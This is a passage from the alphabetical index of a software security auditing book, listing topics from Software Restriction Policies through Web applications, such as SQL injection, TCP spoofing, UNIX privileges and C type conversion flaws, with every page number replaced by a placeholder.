     accuracy(? [????.]) 

     algorithms(? [????.]) 

     application architecture modeling(? [????.]) 

     clarity(? [????.]) 

     decomposition(? [????.]) 

     failure handling(? [????.]) 

     loose coupling(? [????.]) 

     strong cohesion(? [????.]) 

     strong coupling exploitation(? [????.]) 

     threat modeling(? [????.]) 

         information collection(? [????.]) 

     transitive trust exploitation(? [????.]) 

     trust relationships(? [????.]) 

         chain of trust relationships(? [????.]) 

         complex trust boundaries(? [????.]) 

         defense in depth(? [????.]) 

         simple trust boundaries(? [????.]) 

Software Restriction Policies (SAFER) API [See SAFER (Software Restriction Policies) API, 

Windows NT sessions, access tokens(? [????.]).] 

Solaris(? [????.]) 

Solomon, David A.(? [????.]) 2nd(? [????.]) 

Song, Dug(? [????.]) 

source code audits, COM (Component Object Model)(? [????.]) 

source code navigators, code audits(? [????.]) 

     Code Surfer(? [????.]) 

     Cscope(? [????.]) 

     Ctags(? [????.]) 

     Source Navigator(? [????.]) 

     Understand(? [????.]) 

source code, profiling(? [????.]) 

Source Navigator(? [????.]) 

source routing 
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     IP (Internet Protocol)(? [????.]) 

     packets(? [????.]) 

source-only application access(? [????.]) 

SPACEJUMP method(? [????.]) 

specialization approach, application review(? [????.]) 

specifications, software(? [????.]) 

SPIKE fuzz testing tool(? [????.]) 

spoofing(? [????.]) 

     DNS (Domain Name System)(? [????.]) 

     TCP streams(? [????.]) 

         blind connection spoofing(? [????.]) 

spoofing attacks, firewalls(? [????.]) 2nd(? [????.]) 

     close spoofing(? [????.]) 

     distant spoofing(? [????.]) 

     encapsulation(? [????.]) 

     source routing(? [????.]) 

sprintf( ) functions(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

SQL (Structured Query Langauge) 

     queries, metacharacters(? [????.]) 

     SQL injection(? [????.]) 

         ASP(? [????.]) 2nd(? [????.]) 

         ASP.NET(? [????.]) 

         Java servlets(? [????.]) 

         parameterized queries(? [????.]) 

         Perl(? [????.]) 

         PHP(? [????.]) 

         prepared statements(? [????.]) 

         second order injection(? [????.]) 

         stored procedures(? [????.]) 

         testing for(? [????.]) 

SQL Injection Vulnerability listing (8-20)(? [????.]) 

SQL Truncation Vulnerability listing (8-21)(? [????.]) 

SSIs (server-side includes)(? [????.]) 

SSL (Secure Sockets Layer)(? [????.]) 

SSL/TLS (Secure Socket Layer/Transport Layer Security)(? [????.]) 

SSL/TLS (Secure Sockets Layer/Transport Layer Security)(? [????.]) 

SSO (single sign-on) system(? [????.]) 

STA (single-threaded apartment), COM (Component Object Model)(? [????.]) 

stack cookies(? [????.]) 

stack overflows(? [????.]) 

stack protection, operational vulnerabilities, preventing(? [????.]) 

Stackguard, stack cookies(? [????.]) 

stacks 

     ADT (abstract data type)(? [????.]) 
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     EBP (extended base pointer)(? [????.]) 

     ESP (extended stack pointer)(? [????.]) 

     nonexecutable stacks(? [????.]) 

     stack protection(? [????.]) 

Standard Generalized Markup Language (SGML)(? [????.]) 

standards documentation(? [????.]) 

standards, C programming language(? [????.]) 

starvation, threads(? [????.]) 2nd(? [????.]) 

Starzetz, Paul(? [????.]) 2nd(? [????.]) 

stat( ) function(? [????.]) 

state mechanisms, RPCs (Remote Procedure Calls)(? [????.]) 

state processing, TCP (Transmission Control Protocol)(? [????.]) 

state tables(? [????.]) 

     spoofing(? [????.]) 

state, maintaining(? [????.]) 

     client IP addresses(? [????.]) 

     cookies(? [????.]) 

     embedding state in HTML and URLs(? [????.]) 

     HTTP authentication(? [????.]) 2nd(? [????.]) 

     Referer request headers(? [????.]) 

     sessions(? [????.]) 2nd(? [????.]) 

         security vulnerabilities(? [????.]) 

         session management(? [????.]) 

         session tokens(? [????.]) 

     stateful versus stateless systems(? [????.]) 

stateful firewalls(? [????.]) 

     directionality(? [????.]) 

     fragmentation(? [????.]) 

     stateful inspection firewalls(? [????.]) 

     TCP (Transport Control Protocol)(? [????.]) 

     UDP (User Datagram Protocol)(? [????.]) 

stateful inspection firewalls(? [????.]) 

     layering(? [????.]) 

stateful packet filters(? [????.]) 

stateful systems(? [????.]) 

stateless firewalls(? [????.]) 

     fragmentation(? [????.]) 

     FTP (File Transfer Protocol)(? [????.]) 

     TCP (Transmission Control Protocol)(? [????.]) 

     UDP (User Datagram Protocol)(? [????.]) 

stateless packet filters(? [????.]) 

stateless systems(? [????.]) 

statements 

     break statements, omissions(? [????.]) 
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     flow transfer statements, auditing(? [????.]) 

     out-of-order statements(? [????.]) 

     prepared statements(? [????.]) 

     switch statements, auditing(? [????.]) 

states, TCP connections(? [????.]) 

static content(? [????.]) 

static variables(? [????.]) 

status checks, application review(? [????.]) 

stdio file system, files 

     closing(? [????.]) 

     opening(? [????.]) 

     reading(? [????.]) 

     writing to(? [????.]) 

Stevens, Ted(? [????.]) 

Stevens, W. Richard(? [????.]) 

Stickley, Jim(? [????.]) 

storage, C programming language(? [????.]) 

stored procedures(? [????.]) 

strcat( ) function(? [????.]) 

strcpy( ) functions(? [????.]) 2nd(? [????.]) 

Strcpy( )-like Loop listing (8-3)(? [????.]) 

stream ciphers, encryption(? [????.]) 

streams (file), Windows NT(? [????.]) 

streams, TCP (Transmission Control Protocol)(? [????.]) 2nd(? [????.]) 

     blind connection spoofing(? [????.]) 

     blind data injection attacks(? [????.]) 

     blind reset attacks(? [????.]) 

     connection fabrication(? [????.]) 

     connection tampering(? [????.]) 

     spoofing(? [????.]) 

strict black box application access(? [????.]) 

strict context handles, RPCs (Remote Procedure Calls)(? [????.]) 

strings(? [????.]) 

     bounded string functions(? [????.]) 2nd(? [????.]) 

     character expansion(? [????.]) 

     format strings(? [????.]) 

     handling, C programming language(? [????.]) 

    pointers 

         incorrect increments(? [????.]) 

         typos(? [????.]) 

     unbounded copies(? [????.]) 

     unbounded string functions(? [????.]) 

     Windows NT security descriptors(? [????.]) 

strlcat( ) function(? [????.]) 
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strlcpy( ) function(? [????.]) 

strlen( ) function(? [????.]) 

strncat( ) function(? [????.]) 

strncpy( ) function(? [????.]) 2nd(? [????.]) 

strong cohesion, software design(? [????.]) 

strong coupling, software design exploitation(? [????.]) 

strongly coupled modules(? [????.]) 

Structure Padding in a Network Protocol listing (6-32)(? [????.]) 

structure padding, C programming language(? [????.]) 

structured exception handling (SHE) attacks(? [????.]) 

structures, variables, management(? [????.]) 

Struts framework(? [????.]) 

stub resolvers (DNS)(? [????.]) 

stubs, COM (Component Object Model)(? [????.]) 

subdomains(? [????.]) 

subnet addresses(? [????.]) 

subsystem access permissions, DCOM (Distributed Component Object Model)(? [????.]) 

subsystem alnalysis, code audits(? [????.]) 

superusers, UNIX(? [????.]) 

supplemental group privileges, UNIX, dropping permanently(? [????.]) 

supplemental groups, UNIX(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

Swiderski, Frank(? [????.]) 

switch statements 

     auditing(? [????.]) 

     C programming language(? [????.]) 

switching(? [????.]) 

symbolic links, UNIX files(? [????.]) 2nd(? [????.]) 

SymbolicLink objects(? [????.]) 

symmetric encryption(? [????.]) 

     block ciphers(? [????.]) 

synchronization(? [????.]) 

     APCs (asynchronous procedure calls)(? [????.]) 

     deadlocks(? [????.]) 2nd(? [????.]) 

     multithreaded programs(? [????.]) 

     process synchronization(? [????.]) 

         interprocess synchronization(? [????.]) 

         lock matching(? [????.]) 

         synchronization object scoreboard(? [????.]) 

         System V synchronization(? [????.]) 

         Windows NT synchronization(? [????.]) 

     race conditions(? [????.]) 

     reentrancy(? [????.]) 

     shared memory segments(? [????.]) 

     signals(? [????.]) 
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         asynchronous-safe function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         default actions(? [????.]) 

         handling(? [????.]) 

         interruptions(? [????.]) 2nd(? [????.]) 

         jump locations(? [????.]) 

         non-returning signal handlers(? [????.]) 2nd(? [????.]) 

         repetition(? [????.]) 

         sending(? [????.]) 

         signal handler scoreboard(? [????.]) 

         signal masks(? [????.]) 

         vunerabilities(? [????.]) 2nd(? [????.]) 

     starvation(? [????.]) 

    threads 

         deadlocks(? [????.]) 

         PThreads API(? [????.]) 

         race conditions(? [????.]) 

         starvation(? [????.]) 

         Windows API(? [????.]) 

synchronization object scoreboard(? [????.]) 

syntax highlighting(? [????.]) 

synthesized request variables(? [????.]) 

SysInternals(? [????.]) 

syslog( ) function(? [????.]) 

system call gateways(? [????.]) 

system configuration files, UNIX(? [????.]) 

system file table, UNIX(? [????.]) 

system objects, Windows NT(? [????.]) 

system profiling(? [????.]) 

system resources, access, auditing(? [????.]) 

System V-IPC mechanisms 

     process synchronization(? [????.]) 

     semaphores(? [????.]) 

     UNIX(? [????.]) 

system virtualization(? [????.]) 

system( ) function(? [????.]) 
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tables, auditing(? [????.]) 2nd(? [????.]) 

taint mode, Perl(? [????.]) 

tampering TCP connections(? [????.]) 

TCP (Transmission Control Protocol)(? [????.]) 2nd(? [????.]) 

     connections(? [????.]) 2nd(? [????.]) 

         closing(? [????.]) 

         establishing(? [????.]) 

         flags(? [????.]) 

         resetting(? [????.]) 

         states(? [????.]) 

     header validation(? [????.]) 

     headers(? [????.]) 

     options, processing(? [????.]) 

     processing(? [????.]) 

         sequence number boundary condition(? [????.]) 

         sequence number representation(? [????.]) 

         state processing(? [????.]) 

         URG pointer processing(? [????.]) 

         window scale option(? [????.]) 

     segments(? [????.]) 

     stateful firewalls(? [????.]) 

     stateless firewalls(? [????.]) 

     streams(? [????.]) 2nd(? [????.]) 

         blind connection spoofing(? [????.]) 

         blind data injection attacks(? [????.]) 

         blind reset attacks(? [????.]) 

         connection fabrication(? [????.]) 

         connection tampering(? [????.]) 

         spoofing(? [????.]) 

TCP/IP(? [????.]) 

TCP/IP Illustrated, Volume 1(? [????.]) 2nd(? [????.]) 

TE header field (HTTP)(? [????.]) 

teardrop vunerability, Linux(? [????.]) 

tempnam( ) function(? [????.]) 

temporary files, UNIX(? [????.]) 

     directory cleaners(? [????.]) 

     file reuse(? [????.]) 

     unique creation(? [????.]) 

terminal devices(? [????.]) 

terminal emulation software(? [????.]) 

terminals, UNIX, process terminals(? [????.]) 

TerminateThread( ) function(? [????.]) 
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terminating conditions, loops(? [????.]) 

termination, UNIX processes(? [????.]) 

test cases, code audits(? [????.]) 

     constraint establishment(? [????.]) 

     extraneous input thinning(? [????.]) 

     multiple inputs(? [????.]) 

     unconstrained data types(? [????.]) 

testing 

     black box testing(? [????.]) 

     for SQL injection(? [????.]) 

     SDLC (Systems Development Life Cycle)(? [????.]) 

     Web applications(? [????.]) 

text 

     character sets(? [????.]) 

     metacharacters(? [????.]) 2nd(? [????.]) 

         embedded dilimiters(? [????.]) 

         filtering(? [????.]) 

         format strings(? [????.]) 

         formats(? [????.]) 

         NUL-byte injection(? [????.]) 

         path metacharacters(? [????.]) 

         Perl open( ) function(? [????.]) 

         shell metacharacters(? [????.]) 

         SQL queries(? [????.]) 

         truncation(? [????.]) 

     Unicode(? [????.]) 

         character equivalence(? [????.]) 

         code page assumptions(? [????.]) 

         decoding(? [????.]) 

         homographic attacks(? [????.]) 

         NUL-termination(? [????.]) 

         UTF-16 encoding(? [????.]) 

         UTF-8 encoding(? [????.]) 

         Windows functions(? [????.]) 

text strings(? [????.]) 

     bounded string functions(? [????.]) 2nd(? [????.]) 

     character expansion(? [????.]) 

     format strings(? [????.]) 

     handling, C programming language(? [????.]) 

     pointers, incorrect increments(? [????.]) 

     typos(? [????.]) 

     unbounded copies(? [????.]) 

     unbounded string functions(? [????.]) 

text-based protocols, data types, matching(? [????.]) 
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Text-Processing Error in Apache mod_mime listing (8-7)(? [????.]) 

TEXTSEARCH method(? [????.]) 

tgetent( ) function(? [????.]) 

third-party evaluations(? [????.]) 

third-party preliminary evaluations(? [????.]) 

third-party product range comparisons(? [????.]) 

Thompson, Hunter S.(? [????.]) 2nd(? [????.]) 

Thompson, Ken(? [????.]) 

threading(? [????.]) 

     Active X(? [????.]) 

     COM (Component Object Model)(? [????.]) 

     Java servlets(? [????.]) 

     RPCs (Remote Procedure Calls)(? [????.]) 

threads 

     multithreaded programs, synchronicity(? [????.]) 

     starvation(? [????.]) 

    synchronicity 

         deadlocks(? [????.]) 

         PThreads API(? [????.]) 

         race conditions(? [????.]) 

         starvation(? [????.]) 

         Windows API(? [????.]) 

     Windows NT(? [????.]) 

threat identification(? [????.]) 

threat mitigation(? [????.]) 

Threat Modeling(? [????.]) 

threat modeling(? [????.]) 

     application architecture modeling(? [????.]) 

     automatic threat modeling(? [????.]) 

     code audits, DG (design generalization) strategy(? [????.]) 

     findings, documenting(? [????.]) 

     information collection(? [????.]) 

     threat identification(? [????.]) 

three-way handshakes, TCP connections(? [????.]) 

Thumann, Michael(? [????.]) 

time( ) functions(? [????.]) 

tmpfile( ) function(? [????.]) 

tmpnam( ) function(? [????.]) 

TOCTOU (time to check to time of use) 

     junction points(? [????.]) 

     UNIX file system(? [????.]) 

tokens 

     creating, password requirements(? [????.]) 

     session tokens(? [????.]) 2nd(? [????.]) 
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tools 

     code audits(? [????.]) 

         binary navigation tools(? [????.]) 

         debuggers(? [????.]) 

         fuzz testing tools(? [????.]) 

         OpenSSH case study(? [????.]) 

         source code navigators(? [????.]) 

     UNIX(? [????.]) 

top-down approach, application review(? [????.]) 

top-down progression(? [????.]) 

toupper( ) function(? [????.]) 

TRACE method(? [????.]) 

tracing 

     black box hits(? [????.]) 

     code(? [????.]) 

     malicious input(? [????.]) 

Trailer header field (HTTP)(? [????.]) 

Transfer-Encoding header field (HTTP)(? [????.]) 

transform payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

transformations, XSLT (Extensible Stylesheet Language Transformation)(? [????.]) 

transitive trusts, exploiting(? [????.]) 

Transmission Control Protocol (TCP)(? [????.]) 

transport layer, network segmentation(? [????.]) 

transports, RPCs (Remote Procedure Calls)(? [????.]) 

truncation 

     file paths(? [????.]) 

     integer types(? [????.]) 

     metacharacters(? [????.]) 

     NFS(? [????.]) 

     sign extensions(? [????.]) 

Truncation Vulnerability Example in NFS listing (6-16)(? [????.]) 

Truncation Vulnerabilty Example listing (6-17)(? [????.]) 

trust boundaries(? [????.]) 

     complex trust boundaries(? [????.]) 

     simple trust boundaries(? [????.]) 

trust domains(? [????.]) 

trust models(? [????.]) 

trust relationships 

     software design(? [????.]) 

         chain of trust rleationships(? [????.]) 

         complex trust boudaries(? [????.]) 

         defense in depth(? [????.]) 

         simple trust boudaries(? [????.]) 

     vulnerabilities(? [????.]) 
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trusted authorities(? [????.]) 

trusts, transitive trusts, exploiting(? [????.]) 

try_lib( ) function(? [????.]) 

Twos Complement Representation of -15 listing (6-1)(? [????.]) 

type coercions [See type conversions, C programming language(? [????.]).] 

type confusion(? [????.]) 2nd(? [????.]) 

Type Confusion listing (7-11)(? [????.]) 

type conversions, C programming language(? [????.]) 

     assignment operators(? [????.]) 

     comparisons(? [????.]) 

     conversion rules(? [????.]) 

     default type conversions(? [????.]) 

     explicit type conversions(? [????.]) 

     floating point types(? [????.]) 

     function prototypes(? [????.]) 

     implicit type conversions(? [????.]) 

     integer promotions(? [????.]) 

     narrowing(? [????.]) 

     sign extensions(? [????.]) 

     simple conversions(? [????.]) 

     typecasts(? [????.]) 

     usual arithmetic conversions(? [????.]) 

     value preservation(? [????.]) 

     vunerabilities(? [????.]) 

     widening(? [????.]) 

type libraries, COM (Component Object Model)(? [????.]) 2nd(? [????.]) 

typecasts, C programming language(? [????.]) 

types, C programming language(? [????.]) 

typos 

     C programming language(? [????.]) 

     loops(? [????.]) 

     text strings(? [????.]) 
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UDP (User Datagram Protocol)(? [????.]) 2nd(? [????.]) 
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     header validation(? [????.]) 

     stateful firewalls(? [????.]) 

     stateless firewalls(? [????.]) 

UIDs (user IDs), UNIX(? [????.]) 2nd(? [????.]) 

UML (Unified Markup Language)(? [????.]) 

     class diagrams(? [????.]) 

     component diagrams(? [????.]) 

     use cases(? [????.]) 

UN*X(? [????.]) 

unary + operator, C programming language(? [????.]) 

unary operator, C programming language(? [????.]) 

unary operator, C programming language(? [????.]) 

unbounded copies, strings(? [????.]) 

unbounded string functions(? [????.]) 

UNC (Universal Naming Convetion), redirector(? [????.]) 

unconstrained data types, test cases, code audits(? [????.]) 

undefined behavior, C programming language(? [????.]) 

underflow, unsigned integers(? [????.]) 

Understand source code navigator(? [????.]) 

Unexpected Return Values listing (7-29)(? [????.]) 

Unicode(? [????.]) 

     character equivalence(? [????.]) 

     code page assumptions(? [????.]) 

     decoding(? [????.]) 

     homographic attacks(? [????.]) 

     NUL-termination(? [????.]) 

     UTF-16 encoding(? [????.]) 

     UTF-8 encoding(? [????.]) 

     Windows functions(? [????.]) 

Unicos(? [????.]) 

Unified Markup Language (UML) [See UML (Unified Markup Language)(? [????.]).] 

Uniform Resource Identifiers (URIs)(? [????.]) 

Uninformed magazine(? [????.]) 

Uninitialized Memory Buffer listing (7-7)(? [????.]) 

Uninitialized Object Attributes listing (7-8)(? [????.]) 

Uninitialized Variable Usage listing (7-6)(? [????.]) 

unique creation, UNIX temporary files(? [????.]) 

unititialized memory buffers(? [????.]) 

unititialized object attributes(? [????.]) 

unititialized variable usage(? [????.]) 

UNIX(? [????.]) 

     BSD(? [????.]) 

         securelevels(? [????.]) 

     controlling terminals(? [????.]) 
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     daemons(? [????.]) 

     directories(? [????.]) 

         creating(? [????.]) 

         entries(? [????.]) 

         Filesystem Hierarchy Standard(? [????.]) 

         mount points(? [????.]) 

         parent directories(? [????.]) 

         permissions(? [????.]) 

         public directories(? [????.]) 

         root directories(? [????.]) 

         safety(? [????.]) 

         working directories(? [????.]) 

     domain sockets(? [????.]) 2nd(? [????.]) 

     environment variables(? [????.]) 

     file descriptors(? [????.]) 2nd(? [????.]) 

     file IDs(? [????.]) 

     file security(? [????.]) 

     files(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         boot files(? [????.]) 

         creating(? [????.]) 

         desciprtors(? [????.]) 

         device files(? [????.]) 

         directories(? [????.]) 

         filenames(? [????.]) 

         inodes(? [????.]) 

         kernel files(? [????.]) 

         libraries(? [????.]) 

         links(? [????.]) 

         log files(? [????.]) 

         named pipes(? [????.]) 

         pathnames(? [????.]) 

         paths(? [????.]) 

         permissions(? [????.]) 

         personal user files(? [????.]) 

         proc file system(? [????.]) 

         program configuration files(? [????.]) 

         program files(? [????.]) 

         race conditions(? [????.]) 

         sharing(? [????.]) 

         stdio file interface(? [????.]) 

         system configuration files(? [????.]) 

         temporary files(? [????.]) 

     GECOS field(? [????.]) 

     groups(? [????.]) 
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         effective groups(? [????.]) 

         GIDs(? [????.]) 

         GIDs (group IDs)(? [????.]) 

         login groups(? [????.]) 

         primary groups(? [????.]) 

         real groups(? [????.]) 

         saved set groups(? [????.]) 

         secondary groups(? [????.]) 

         setgid (set-group-id)(? [????.]) 

         supplemental groups(? [????.]) 2nd(? [????.]) 

     kernel(? [????.]) 

     Linux(? [????.]) 

         capabilities(? [????.]) 

         file system IDs(? [????.]) 

     mail spools(? [????.]) 

     naming of(? [????.]) 

     O_EXCL flag(? [????.]) 

     open( ) system call(? [????.]) 

     origins of(? [????.]) 

     password files(? [????.]) 

     pipes(? [????.]) 

     POSIX standards(? [????.]) 

     privileges(? [????.]) 

         dropping permanently(? [????.]) 2nd(? [????.]) 

         dropping temporarily(? [????.]) 

         extensions(? [????.]) 

         group ID functions(? [????.]) 

         management code audits(? [????.]) 

         programs(? [????.]) 

         user ID functions(? [????.]) 

         vunerabilities(? [????.]) 

     processes(? [????.]) 2nd(? [????.]) 

         attributes(? [????.]) 

         child processes(? [????.]) 

         children(? [????.]) 

         creating(? [????.]) 

         environment arrays(? [????.]) 

         fork( ) system call(? [????.]) 

         groups(? [????.]) 

         interprocess communication(? [????.]) 

         open( ) function(? [????.]) 

         program invocation(? [????.]) 

         RPCs (Remote Procedure Calls)(? [????.]) 

         sessions(? [????.]) 
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         system file table(? [????.]) 

         terminals(? [????.]) 

         termination(? [????.]) 

     program invocation(? [????.]) 

         direct invocation(? [????.]) 

         indirect invocation(? [????.]) 

     resource limits(? [????.]) 

    RPCs (Remote Procedure Calls) 

         authentication(? [????.]) 

         decoding routines(? [????.]) 

         definition files(? [????.]) 

     shadow password files(? [????.]) 

     shell histories(? [????.]) 

     shell login scripts(? [????.]) 

     shell logon scripts(? [????.]) 

     System V-IPC mechanisms(? [????.]) 

     tools(? [????.]) 

     UN*X(? [????.]) 

     users(? [????.]) 

         effective users(? [????.]) 

         home directories(? [????.]) 

         real users(? [????.]) 

         saved set users(? [????.]) 

         setuid (set-user-id)(? [????.]) 

         shells(? [????.]) 

         superusers(? [????.]) 

         UIDs (user IDs)(? [????.]) 2nd(? [????.]) 

unlink( ) function(? [????.]) 2nd(? [????.]) 

UNLOCK method(? [????.]) 

unmask attribute, UNIX(? [????.]) 

unmask file permissions(? [????.]) 

unnecessary services(? [????.]) 

Unsigned Comparison Vulnerability listing (6-22)(? [????.]) 

unsigned integer types, C programming language(? [????.]) 

Unsigned Integer Underflow Example listing (6-4)(? [????.]) 

unsigned integers 

     boundaries(? [????.]) 2nd(? [????.]) 

     conversions(? [????.]) 

         vunerabilities(? [????.]) 

     narrowing(? [????.]) 

     numeric overflow(? [????.]) 

     numeric underflow(? [????.]) 

     widening(? [????.]) 

unsigned-preserving promotions(? [????.]) 
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untrustworthy credentials, authentication(? [????.]) 

Upgrade header field (HTTP)(? [????.]) 

uploading files, security(? [????.]) 

URG flags, TCP (Transmission Control Protocol)(? [????.]) 

URI header field (HTTP)(? [????.]) 

URIs (Uniform Resource Identifiers)(? [????.]) 

     script URI(? [????.]) 

URLs, embedding state in(? [????.]) 

use cases, UML (Unified Markup Language)(? [????.]) 

use scenarios(? [????.]) 

uselib( ) function(? [????.]) 

User Datagram Protocol (UDP)(? [????.]) 

user IDs (UIDs), UNIX(? [????.]) 

     functions(? [????.]) 

User-Agent header field (HTTP)(? [????.]) 

users, UNIX(? [????.]) 

     effective users(? [????.]) 

     file security(? [????.]) 

     home directories(? [????.]) 

     privilege vunerabilities(? [????.]) 

     real users(? [????.]) 

     saved set users(? [????.]) 

     setuid (set-user-id)(? [????.]) 

     shells(? [????.]) 

     superusers(? [????.]) 

     UIDs (userIDs)(? [????.]) 

     user ID functions(? [????.]) 

     user IDs (UIDs)(? [????.]) 

usual arithmetic conversions(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

UTF-16 encoding(? [????.]) 

UTF-8 encoding(? [????.]) 

utilitiy functions, HTTP (Hypertext Transfer Protocol)(? [????.]) 
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validation 
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     authorization, insufficient validation(? [????.]) 

     IP headers(? [????.]) 

     name validation, DoS (denial of service) attacks(? [????.]) 

     originator validation(? [????.]) 

     TCP headers(? [????.]) 

     UDP headers(? [????.]) 

value bits, unsigned integer types(? [????.]) 

value preservation, C programming language(? [????.]) 

value-preserving promotions(? [????.]) 

values, Windows NT registry, value squatting(? [????.]) 

Van der Linden, Peter(? [????.]) 

/var directory (UNIX)(? [????.]) 

variables 

     auditing(? [????.]) 

         arithmetic boundaries(? [????.]) 

         initialization(? [????.]) 

         lists(? [????.]) 

         object management(? [????.]) 

         structure management(? [????.]) 

         tables(? [????.]) 2nd(? [????.]) 

         type confusion(? [????.]) 2nd(? [????.]) 

     environment variables(? [????.]) 

     PATH_INFO(? [????.]) 

     PThread API, condition variables(? [????.]) 

     relationships(? [????.]) 2nd(? [????.]) 

Vary header field (HTTP)(? [????.]) 

VBScript(? [????.]) 

vendor ID payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

Version header field (HTTP)(? [????.]) 

versions of HTTP (Hypertext Transport Protocol)(? [????.]) 

vfork( ) function(? [????.]) 

Via header field (HTTP)(? [????.]) 

View component (MVC)(? [????.]) 

ViewState, ASP.NET(? [????.]) 

virtual device drivers(? [????.]) 

virtual memory areas (VMAs)(? [????.]) 

Virtual Memory System (VMS)(? [????.]) 

virtual private machines (VPNs)(? [????.]) 

virtualization(? [????.]) 

visibility of clients(? [????.]) 

Vista objects, namespaces(? [????.]) 

VMAs (virtual memory areas)(? [????.]) 

VMs (virtual machines), operational vulnerabilities, preventing(? [????.]) 

VMS (Virtual Memory System)(? [????.]) 
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VPNs (virtual private networks)(? [????.]) 

vreply( ) function(? [????.]) 

vsnprintf( ) function(? [????.]) 

Vulnerability in Filtering a Character Sequence #2 listing (8-26)(? [????.]) 

Vulnerability in Filtering a Character Sequence listing (8-25)(? [????.]) 

Vulnerable Hex-Decoding Routine for URIs listing (8-5)(? [????.]) 

vunerabilities 

     accountability(? [????.]) 

     authentication(? [????.]) 

         insuffiecient validation(? [????.]) 

         untrustworthy credentials(? [????.]) 

     authorization(? [????.]) 

     availability(? [????.]) 

     encryption(? [????.]) 

     integrity(? [????.]) 

     operational vulnerabilities(? [????.]) 

         access control(? [????.]) 

         attack surfaces(? [????.]) 

         authentication(? [????.]) 

         default site installations(? [????.]) 

         development protective measures(? [????.]) 

         directory indexing(? [????.]) 

         exposure(? [????.]) 

         file handlers(? [????.]) 

         host-based measures(? [????.]) 

         HTTP request methods(? [????.]) 

         insecure defaults(? [????.]) 

         network profiles(? [????.]) 

         network-based measures(? [????.]) 

         overly verbose error messages(? [????.]) 

         public-facing administrative interfaces(? [????.]) 

         secure channels(? [????.]) 

         spoofing(? [????.]) 

         unnecessary services(? [????.]) 

         Web-specific vunerabilities(? [????.]) 

     operational vunerabilities(? [????.]) 

    operators 

         right shift(? [????.]) 2nd(? [????.]) 

         size(? [????.]) 

     pointers(? [????.]) 

     software(? [????.]) 2nd(? [????.]) 

         bugs(? [????.]) 

         classifying(? [????.]) 

         data flow(? [????.]) 
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         design vunerabilities(? [????.]) 

         environmental attacks(? [????.]) 

         exceptional conditions(? [????.]) 

         implementation vunerabilities(? [????.]) 

         input(? [????.]) 

         interfaces(? [????.]) 

         operational vunerabilities(? [????.]) 

         security policies(? [????.]) 

         trust relationships(? [????.]) 

     type conversions(? [????.]) 

         C programming language(? [????.]) 

         sign extensions(? [????.]) 

vunerability classes(? [????.]) 
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wait functions(? [????.]) 

waitable timer, Windows NT(? [????.]) 

Wang, Xiaoyun(? [????.]) 

Warning header field (HTTP)(? [????.]) 

waterfall models(? [????.]) 

wcsncpy( ) function(? [????.]) 

Web 2.0(? [????.]) 

Web applications 

     access control(? [????.]) 

     ASP (Active Server Pages)(? [????.]) 

         configuration settings(? [????.]) 

         cross-site scripting(? [????.]) 

         file access(? [????.]) 

         file inclusion(? [????.]) 

         inline evaluation(? [????.]) 

         shell invocation(? [????.]) 

         SQL injection queries(? [????.]) 2nd(? [????.]) 

     ASP.NET(? [????.]) 

         configuration settings(? [????.]) 

         cross-site scripting(? [????.]) 
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         file access(? [????.]) 

         file inclusion(? [????.]) 

         inline evaluation(? [????.]) 

         shell invocation(? [????.]) 

         SQL injection queries(? [????.]) 

     auditing(? [????.]) 

         activities to isolate(? [????.]) 

         avoiding assumptions(? [????.]) 

         black box testing(? [????.]) 

         enumerating functionality(? [????.]) 

         goals(? [????.]) 

         multiple approaches(? [????.]) 

         reverse-engineering(? [????.]) 

         testing and experimentation(? [????.]) 

     authentication(? [????.]) 

     authorization(? [????.]) 

     business logic(? [????.]) 

     C/C++ problems(? [????.]) 

     CGI (Common Gateway Interface)(? [????.]) 2nd(? [????.]) 

         environment variables(? [????.]) 

         indexed queries(? [????.]) 

     client control(? [????.]) 

     client visibility(? [????.]) 

     dynamic content(? [????.]) 

     ecryption(? [????.]) 

     HTML (Hypertext Markup Langage)(? [????.]) 

     HTTP (Hypertext Transport Protocol)(? [????.]) 

         authentication(? [????.]) 2nd(? [????.]) 

         cookies(? [????.]) 

         embedded path information(? [????.]) 

         forms(? [????.]) 

         headers(? [????.]) 

         methods(? [????.]) 2nd(? [????.]) 

         overview of(? [????.]) 

         parameter encoding(? [????.]) 

         query strings(? [????.]) 

         requests(? [????.]) 

         responses(? [????.]) 

         sessions(? [????.]) 2nd(? [????.]) 

         state maintenance(? [????.]) 

         versions(? [????.]) 

     IDC (Internet Database Connection)(? [????.]) 

     Java servlets(? [????.]) 

         configuration settings(? [????.]) 
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         cross-site scripting(? [????.]) 

         file access(? [????.]) 

         file inclusion(? [????.]) 

         inline evaluation(? [????.]) 

         JSP file inclusion(? [????.]) 

         shell invocation(? [????.]) 

         SQL injection queries(? [????.]) 

         threading(? [????.]) 

         Web server APIs versus(? [????.]) 

     N-tier architectures(? [????.]) 2nd(? [????.]) 

         business tier(? [????.]) 

         client tier(? [????.]) 

         data tier(? [????.]) 

         MVC (Model-View-Controller)(? [????.]) 

         Web tier(? [????.]) 2nd(? [????.]) 

     OS and file system interaction(? [????.]) 

         execution(? [????.]) 

         file uploading(? [????.]) 

         null bytes(? [????.]) 

         path traversal(? [????.]) 

         programmatic SSI(? [????.]) 

     overview of(? [????.]) 

     page flow(? [????.]) 

     parameters, transmitting(? [????.]) 

         embedded path information(? [????.]) 

         forms(? [????.]) 

         GET method(? [????.]) 2nd(? [????.]) 

         parameter encoding(? [????.]) 

         POST method(? [????.]) 

         query strings(? [????.]) 

     Perl(? [????.]) 

         cross-site scripting(? [????.]) 

         file access(? [????.]) 

         file inclusion(? [????.]) 

         inline evaluation(? [????.]) 

         shell invocation(? [????.]) 

         SQL injection queries(? [????.]) 

         taint mode(? [????.]) 

     phishing and impersonation(? [????.]) 

     PHP (PHP Hypertext Preprocessor)(? [????.]) 

         configuration settings(? [????.]) 

         cross-site scripting(? [????.]) 

         file access(? [????.]) 

         file inclusion(? [????.]) 
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         inline evaluation(? [????.]) 

         shell invocation(? [????.]) 2nd(? [????.]) 

         SQL injection queries(? [????.]) 

     presentation logic(? [????.]) 

     redundancy(? [????.]) 

     security environment(? [????.]) 

     server-side scripting(? [????.]) 

     sessions(? [????.]) 

         security vulnerabilities(? [????.]) 

         session management(? [????.]) 

         session tokens(? [????.]) 

